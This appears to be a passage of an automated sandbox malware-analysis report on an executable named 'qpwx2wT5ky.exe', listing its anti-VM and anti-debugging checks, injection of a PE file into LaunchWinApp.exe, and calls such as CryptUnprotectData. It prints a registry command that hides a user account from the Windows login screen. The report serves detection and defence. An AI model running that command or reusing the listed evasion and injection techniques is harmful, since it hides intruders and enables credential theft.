Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485613034.0000000005725000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wmswsock.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000010.00000003.485599339.0000000005720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msasn1.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485613034.0000000005725000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000010.00000003.485599339.0000000005720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000010.00000003.485599339.0000000005720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000010.00000003.485599339.0000000005720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: oCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernelbase.pdb source: WerFault.exe, 00000010.00000002.502132177.0000000002F52000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: c:\TFS\DevDiv\OC-CT-Main23Rel-Dev14\src\src\Waverton\Cct.Contracts.Public\obj\VS140\Release\Release\Microsoft.VisualStudio.WindowsAzure.Contracts.2.3.pdb source: qpwx2wT5ky.exe
Source:	Binary string: cryptbase.pdbk source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485613034.0000000005725000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: crypt32.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_01775F98 push esp; ret	0_2_01775F99
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AABA48 push es; retn 0004h	0_2_06AABA0C
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00468510 push eax; ret	2_2_0046852E
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0046852F push eax; ret	2_2_00468565
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00468580 push eax; ret	2_2_00468565
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00440FB1 push ecx; ret	2_2_00440FC4

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_00434E00 LoadLibraryA,GetProcAddress,FreeLibrary,

2_2_00434E00

Source: initial sample

Static PE information: section name: .text entropy: 7.39943250791

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: qpwx2wT5ky.exe, 00000000.00000002.318536230.0000000004271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: qpwx2wT5ky.exe, 00000000.00000002.318536230.0000000004271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: qpwx2wT5ky.exe, 00000000.00000003.301171439.0000000004615000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v 3 /t REG_DWORD /d 0
Source: qpwx2wT5ky.exe, 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v 3 /t REG_DWORD /d 0
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v

Moves itself to temp directory

Source: c:\users\user\desktop\qpwx2wt5ky.exe

File moved: C:\Users\user\AppData\Local\Temp\8a5117119915447493a5b09e32efc8ff.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_0041F3F5 __EH_prolog,SetCurrentDirectoryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_0041F3F5

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.qpwx2wT5ky.exe.4615610.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.3170000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.301171439.0000000004615000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: qpwx2wT5ky.exe PID: 6428, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: qpwx2wT5ky.exe, 00000000.00000002.318536230.0000000004271000.00000004.00000800.00020000.00000000.sdmp, qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: qpwx2wT5ky.exe, 00000000.00000002.318536230.0000000004271000.00000004.00000800.00020000.00000000.sdmp, qpwx2wT5ky.exe, 00000000.00000003.301171439.0000000004615000.00000004.00000800.00020000.00000000.sdmp, qpwx2wT5ky.exe, 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp, qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp, qpwx2wT5ky.exe, 00000000.00000002.317216371.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: qpwx2wT5ky.exe, 00000000.00000003.301171439.0000000004615000.00000004.00000800.00020000.00000000.sdmp, qpwx2wT5ky.exe, 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: KERNEL32.DLL/WINE_GET_UNIX_FILE_NAMEQEMU

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe TID: 4972	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\LaunchWinApp.exe TID: 5452	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\LaunchWinApp.exe TID: 5568	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

API coverage: 4.3 %

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_00437D4A __EH_prolog,_strftime,GetUserDefaultLCID,GetLocaleInfoA,GetUserNameA,GetComputerNameA,GetUserNameA,GetSystemInfo,GlobalMemoryStatusEx,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,EnumDisplayDevicesA,EnumDisplayDevicesA,EnumDisplayDevicesA,

2_2_00437D4A

Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_004604F2 FindFirstFileExW,		2_2_004604F2
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0043F85B FindClose,FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,		2_2_0043F85B

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_0043615F __EH_prolog,GetLogicalDriveStringsA,

2_2_0043615F

Source: Amcache.hve.16.dr	Binary or memory string: VMware
Source: WerFault.exe, 00000010.00000003.500364191.00000000053B6000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.500236208.00000000053B2000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.500024980.00000000053B2000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000010.00000002.503283976.00000000053B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6
Source: Amcache.hve.16.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: qpwx2wT5ky.exe, 00000000.00000003.301171439.0000000004615000.00000004.00000800.00020000.00000000.sdmp, qpwx2wT5ky.exe, 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WWW /c Microsoft-Hyper-V-Common-Drivers-Package
Source: Amcache.hve.16.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.16.dr	Binary or memory string: VMware, Inc.
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Amcache.hve.16.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: WerFault.exe, 00000010.00000002.503165059.00000000052F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: Amcache.hve.16.dr	Binary or memory string: VMware, Inc.me
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: Amcache.hve.16.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: qpwx2wT5ky.exe, 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxARun using valid operating systemUSER
Source: Amcache.hve.16.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: qpwx2wT5ky.exe, 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWAREESOFTWARE\VMware, Inc.\VMware Tools
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.16.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.16.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.16.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.16.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.16.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.16.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.16.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.16.dr	Binary or memory string: VMware-42 35 d8 20 48 cb c7 ff-aa 5e d0 37 a0 49 53 d7
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: )C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: qpwx2wT5ky.exe, 00000000.00000003.301171439.0000000004615000.00000004.00000800.00020000.00000000.sdmp, qpwx2wT5ky.exe, 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: kernel32.dll/wine_get_unix_file_nameQEMU
Source: Amcache.hve.16.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: qpwx2wT5ky.exe, 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VIRTUALBOXUSOFTWARE\Oracle\VirtualBox Guest Additions!noValueButYesKeySC:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: qpwx2wT5ky.exe, 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPathKC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\OC:\WINDOWS\system32\drivers\vmmouse.sysMC:\WINDOWS\system32\drivers\vmhgfs.sys
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: "SOFTWARE\VMware, Inc.\VMware Tools
Source: qpwx2wT5ky.exe, 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'C:\WINDOWS\system32\drivers\vmmouse.sys

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_00446AC8 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_00446AC8

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_00434E00 LoadLibraryA,GetProcAddress,FreeLibrary,

2_2_00434E00

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_0040D1A3 __EH_prolog,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,__EH_prolog,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wsprintfA,CryptUnprotectData,CryptUnprotectData,

2_2_0040D1A3

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0045AAC7 mov eax, dword ptr fs:[00000030h]	2_2_0045AAC7
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0045AAF8 mov eax, dword ptr fs:[00000030h]	2_2_0045AAF8
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0045AA83 mov eax, dword ptr fs:[00000030h]	2_2_0045AA83
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00447699 mov eax, dword ptr fs:[00000030h]	2_2_00447699

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00441435 SetUnhandledExceptionFilter,	2_2_00441435
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00446AC8 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00446AC8
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_004412D2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004412D2
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00441692 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00441692

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Memory written: C:\Windows\SysWOW64\LaunchWinApp.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Memory written: C:\Windows\SysWOW64\LaunchWinApp.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Memory written: C:\Windows\SysWOW64\LaunchWinApp.exe base: 46E000	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Memory written: C:\Windows\SysWOW64\LaunchWinApp.exe base: 488000	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Memory written: C:\Windows\SysWOW64\LaunchWinApp.exe base: 48E000	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Memory written: C:\Windows\SysWOW64\LaunchWinApp.exe base: 48F000	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Memory written: C:\Windows\SysWOW64\LaunchWinApp.exe base: 2BD0008	Jump to behavior

.NET source code references suspicious native API functions

Source: qpwx2wT5ky.exe, OuCPJ4q0f2/d4eQdQGngr.cs

Reference to suspicious API methods: ('fhrGuUGcd4', 'GetProcAddress@kernel32.dll'), ('aiIB2IyVDl', 'VirtualProtect@kernel32.dll'), ('MhNAKwwAxy', 'LoadLibrary@kernel32.dll')

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe

Memory allocated: C:\Windows\SysWOW64\LaunchWinApp.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe

Memory written: C:\Windows\SysWOW64\LaunchWinApp.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe

Process created: C:\Windows\SysWOW64\LaunchWinApp.exe C:\Windows\SysWOW64\LaunchWinApp.exe

Jump to behavior

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Queries volume information: C:\Users\user\Desktop\qpwx2wT5ky.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: __EH_prolog,CoInitialize,GetUserDefaultLCID,GetLocaleInfoA,Sleep,Sleep,GetUserNameA,Sleep,_strlen,_strlen,StrToIntA,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,StrToIntA,CreateThread,CreateThread,WaitForSingleObject,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,CreateThread,CreateThread,GetModuleHandleA,FreeLibrary,WaitForSingleObject,lstrlenA,GetEnvironmentVariableA,ShellExecuteA,ShellExecuteA,CoUninitialize,	2_2_0042B39F
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: EnumSystemLocalesW,	2_2_004586D2
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: GetLocaleInfoW,	2_2_00458CFF
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	2_2_00462E64
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: EnumSystemLocalesW,	2_2_00463151
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: EnumSystemLocalesW,	2_2_00463106
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: EnumSystemLocalesW,	2_2_004631EC
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00463277
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: GetLocaleInfoW,	2_2_004634CA
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_004635F0
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: GetLocaleInfoW,	2_2_004636F6
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_004637C5
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: __EH_prolog,_strftime,GetUserDefaultLCID,GetLocaleInfoA,GetUserNameA,GetComputerNameA,GetUserNameA,GetSystemInfo,GlobalMemoryStatusEx,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,EnumDisplayDevicesA,EnumDisplayDevicesA,EnumDisplayDevicesA,	2_2_00437D4A

